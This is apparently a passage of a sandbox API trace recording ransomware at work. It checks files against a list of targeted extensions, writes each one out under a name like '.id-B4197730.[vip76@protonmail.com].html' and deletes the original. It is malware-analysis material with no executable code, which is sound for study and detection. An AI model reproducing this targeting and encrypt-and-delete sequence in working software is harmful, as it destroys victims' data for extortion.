	[0184.032] lstrlenW (lpString=".xlsx") returned 5
	[0184.032] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0184.032] lstrlenW (lpString=".ppt") returned 4
	[0184.033] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0184.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0184.033] lstrlenW (lpString=".zip") returned 4
	[0184.033] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0184.033] lstrlenW (lpString=".rar") returned 4
	[0184.033] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0184.033] lstrlenW (lpString=".bz2") returned 4
	[0184.033] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0184.033] lstrlenW (lpString=".7z") returned 3
	[0184.033] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0184.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0184.033] lstrlenW (lpString=".dbf") returned 4
	[0184.033] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0184.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0184.033] lstrlenW (lpString=".1cd") returned 4
	[0184.033] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0184.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0184.033] lstrlenW (lpString=".jpg") returned 4
	[0184.033] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0184.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0184.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0184.033] lstrlenW (lpString=".doc") returned 4
	[0184.034] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0184.034] lstrlenW (lpString=".docx") returned 5
	[0184.034] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0184.034] lstrlenW (lpString=".pdf") returned 4
	[0184.034] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0184.034] lstrlenW (lpString=".xls") returned 4
	[0184.034] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0184.034] lstrlenW (lpString=".xlsx") returned 5
	[0184.034] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0184.034] lstrlenW (lpString=".ppt") returned 4
	[0184.034] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0184.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0184.034] lstrlenW (lpString=".zip") returned 4
	[0184.034] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0184.034] lstrlenW (lpString=".rar") returned 4
	[0184.034] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0184.034] lstrlenW (lpString=".bz2") returned 4
	[0184.034] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0184.034] lstrlenW (lpString=".7z") returned 3
	[0184.034] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0184.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0184.034] lstrlenW (lpString=".dbf") returned 4
	[0184.034] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0184.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0184.035] lstrlenW (lpString=".1cd") returned 4
	[0184.035] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0184.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0184.035] lstrlenW (lpString=".jpg") returned 4
	[0184.035] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0184.035] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0184.035] lstrlenW (lpString="J0099161.JPG") returned 12
	[0184.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0184.037] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=7154) returned 1
	[0184.037] CloseHandle (hObject=0x514) returned 1
	[0184.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220
	[0184.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0184.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0184.038] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.038] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0184.386] GetLastError () returned 0x0
	[0184.386] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x1bf2, lpOverlapped=0x0) returned 1
	[0184.392] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x1c00, lpOverlapped=0x0) returned 1
	[0184.394] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.394] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.394] SetEndOfFile (hFile=0x36c) returned 1
	[0184.395] CloseHandle (hObject=0x36c) returned 1
	[0184.395] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.395] SetEndOfFile (hFile=0x514) returned 1
	[0184.398] CloseHandle (hObject=0x514) returned 1
	[0184.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1
	[0184.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0184.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0184.666] lstrlenW (lpString=".doc") returned 4
	[0184.666] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0184.666] lstrlenW (lpString=".docx") returned 5
	[0184.666] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0184.666] lstrlenW (lpString=".pdf") returned 4
	[0184.667] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0184.667] lstrlenW (lpString=".xls") returned 4
	[0184.667] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0184.667] lstrlenW (lpString=".xlsx") returned 5
	[0184.667] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0184.667] lstrlenW (lpString=".ppt") returned 4
	[0184.667] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0184.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0184.667] lstrlenW (lpString=".zip") returned 4
	[0184.667] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0184.667] lstrlenW (lpString=".rar") returned 4
	[0184.667] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0184.667] lstrlenW (lpString=".bz2") returned 4
	[0184.667] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0184.667] lstrlenW (lpString=".7z") returned 3
	[0184.667] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0184.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0184.667] lstrlenW (lpString=".dbf") returned 4
	[0184.667] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0184.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0184.667] lstrlenW (lpString=".1cd") returned 4
	[0184.667] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0184.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0184.668] lstrlenW (lpString=".jpg") returned 4
	[0184.668] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0184.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0184.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0184.668] lstrlenW (lpString=".doc") returned 4
	[0184.668] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0184.668] lstrlenW (lpString=".docx") returned 5
	[0184.668] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0184.668] lstrlenW (lpString=".pdf") returned 4
	[0184.668] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0184.668] lstrlenW (lpString=".xls") returned 4
	[0184.668] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0184.668] lstrlenW (lpString=".xlsx") returned 5
	[0184.668] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0184.668] lstrlenW (lpString=".ppt") returned 4
	[0184.668] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0184.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0184.669] lstrlenW (lpString=".zip") returned 4
	[0184.669] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0184.669] lstrlenW (lpString=".rar") returned 4
	[0184.669] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0184.669] lstrlenW (lpString=".bz2") returned 4
	[0184.669] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0184.669] lstrlenW (lpString=".7z") returned 3
	[0184.669] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0184.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0184.669] lstrlenW (lpString=".dbf") returned 4
	[0184.669] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0184.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0184.669] lstrlenW (lpString=".1cd") returned 4
	[0184.669] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0184.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0184.669] lstrlenW (lpString=".jpg") returned 4
	[0184.669] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0184.669] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0184.670] lstrlenW (lpString="J0099163.WMF") returned 12
	[0184.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0184.671] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=22356) returned 1
	[0184.671] CloseHandle (hObject=0x514) returned 1
	[0184.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220
	[0184.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0184.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0184.672] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.672] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0184.673] GetLastError () returned 0x0
	[0184.673] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x5754, lpOverlapped=0x0) returned 1
	[0184.676] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x5760, lpOverlapped=0x0) returned 1
	[0184.678] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.678] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.679] SetEndOfFile (hFile=0x5bc) returned 1
	[0184.679] CloseHandle (hObject=0x5bc) returned 1
	[0184.679] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.679] SetEndOfFile (hFile=0x514) returned 1
	[0184.683] CloseHandle (hObject=0x514) returned 1
	[0184.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1
	[0184.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0184.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0184.685] lstrlenW (lpString=".doc") returned 4
	[0184.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.685] lstrlenW (lpString=".docx") returned 5
	[0184.685] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0184.685] lstrlenW (lpString=".pdf") returned 4
	[0184.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.685] lstrlenW (lpString=".xls") returned 4
	[0184.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.685] lstrlenW (lpString=".xlsx") returned 5
	[0184.685] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0184.685] lstrlenW (lpString=".ppt") returned 4
	[0184.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0184.686] lstrlenW (lpString=".zip") returned 4
	[0184.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.686] lstrlenW (lpString=".rar") returned 4
	[0184.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.686] lstrlenW (lpString=".bz2") returned 4
	[0184.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.686] lstrlenW (lpString=".7z") returned 3
	[0184.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0184.686] lstrlenW (lpString=".dbf") returned 4
	[0184.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0184.687] lstrlenW (lpString=".1cd") returned 4
	[0184.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0184.687] lstrlenW (lpString=".jpg") returned 4
	[0184.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0184.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0184.687] lstrlenW (lpString=".doc") returned 4
	[0184.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.687] lstrlenW (lpString=".docx") returned 5
	[0184.687] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0184.687] lstrlenW (lpString=".pdf") returned 4
	[0184.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.687] lstrlenW (lpString=".xls") returned 4
	[0184.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.687] lstrlenW (lpString=".xlsx") returned 5
	[0184.687] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0184.687] lstrlenW (lpString=".ppt") returned 4
	[0184.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0184.687] lstrlenW (lpString=".zip") returned 4
	[0185.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.399] lstrlenW (lpString=".rar") returned 4
	[0185.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.399] lstrlenW (lpString=".bz2") returned 4
	[0185.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.399] lstrlenW (lpString=".7z") returned 3
	[0185.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0185.420] lstrlenW (lpString=".dbf") returned 4
	[0185.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0185.420] lstrlenW (lpString=".1cd") returned 4
	[0185.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0185.420] lstrlenW (lpString=".jpg") returned 4
	[0185.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.428] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0185.428] lstrlenW (lpString="J0099170.WMF") returned 12
	[0185.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0185.996] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=24292) returned 1
	[0185.996] CloseHandle (hObject=0x588) returned 1
	[0185.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220
	[0186.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0186.003] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.003] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0186.004] GetLastError () returned 0x0
	[0186.005] ReadFile (in: hFile=0x36c, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x5ee4, lpOverlapped=0x0) returned 1
	[0186.141] WriteFile (in: hFile=0x588, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x5ef0, lpOverlapped=0x0) returned 1
	[0186.143] ReadFile (in: hFile=0x36c, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.143] WriteFile (in: hFile=0x588, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.143] SetEndOfFile (hFile=0x588) returned 1
	[0186.209] CloseHandle (hObject=0x588) returned 1
	[0186.210] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.210] SetEndOfFile (hFile=0x36c) returned 1
	[0186.243] CloseHandle (hObject=0x36c) returned 1
	[0186.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1
	[0186.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0186.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0186.245] lstrlenW (lpString=".doc") returned 4
	[0186.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.245] lstrlenW (lpString=".docx") returned 5
	[0186.245] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0186.245] lstrlenW (lpString=".pdf") returned 4
	[0186.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.245] lstrlenW (lpString=".xls") returned 4
	[0186.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.245] lstrlenW (lpString=".xlsx") returned 5
